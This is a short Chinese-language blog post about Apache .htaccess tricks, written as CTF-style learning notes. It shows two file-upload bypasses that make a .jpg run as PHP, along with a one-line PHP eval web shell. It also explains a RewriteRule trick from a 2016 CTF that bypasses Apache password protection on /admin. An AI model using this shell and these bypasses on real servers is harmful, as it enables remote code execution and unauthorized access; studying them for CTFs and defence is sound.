Sky's blog

有趣的.htaccess

Word count: 583 / Reading time: 2 min
2017/09/06 Share

.htaccess功能开启条件

  1. mod_rewrite模块开启
  2. AllowOverride All

.htaccess功能开启方法

在apache下http.conf改配置:

  1. 将工作目录下的AllowOverride None 改为AllowOverride All。

  2. 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可

.htaccess注意点

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,
但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,
所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

.htaccess在upload中的利用

法一

.htaccess文件内容:

1
2
3
<FilesMatch "sky233">
SetHandler application/x-httpd-php
</FilesMatch>

上传小马文件名:sky233.jpg(后缀任意,找一个没被过滤的,不写应该也可以)

1
<?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

法二

.htaccess文件内容:

1
AddType application/x-httpd-php .jpg

(后缀名按你想要的来,我这里使用.jpg)
上传小马文件名:sky233.jpg(后缀和前面的匹配)

1
<?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

.htaccess在重定向中的利用

一些语法介绍

1
RewriteCond %{REQUEST_FILENAME} !-d

如果不是目录,才会执行下一条RewriteRule

1
RewriteCond %{REQUEST_FILENAME} !-f

如果不是文件,才会执行下一条RewriteRule

Tokyo Westerns / MMA CTF 2nd 2016应用

题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe)

只有.htaccess重定向绕过的方法可行

1
2
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]

然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
注:

1
RewriteRule ^ index.php [QSA,L]

标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;

后记

这玩意儿还是有点意思的,第一次还是在xman选拔赛中遇到,当时根本没想到是这个……也算长见识了

CATALOG
  1. 1. .htaccess功能开启条件
  2. 2. .htaccess功能开启方法
  3. 3. .htaccess注意点
  4. 4. .htaccess在upload中的利用
    1. 4.1. 法一
    2. 4.2. 法二
  5. 5. .htaccess在重定向中的利用
    1. 5.1. 一些语法介绍
    2. 5.2. Tokyo Westerns / MMA CTF 2nd 2016应用
  6. 6. 后记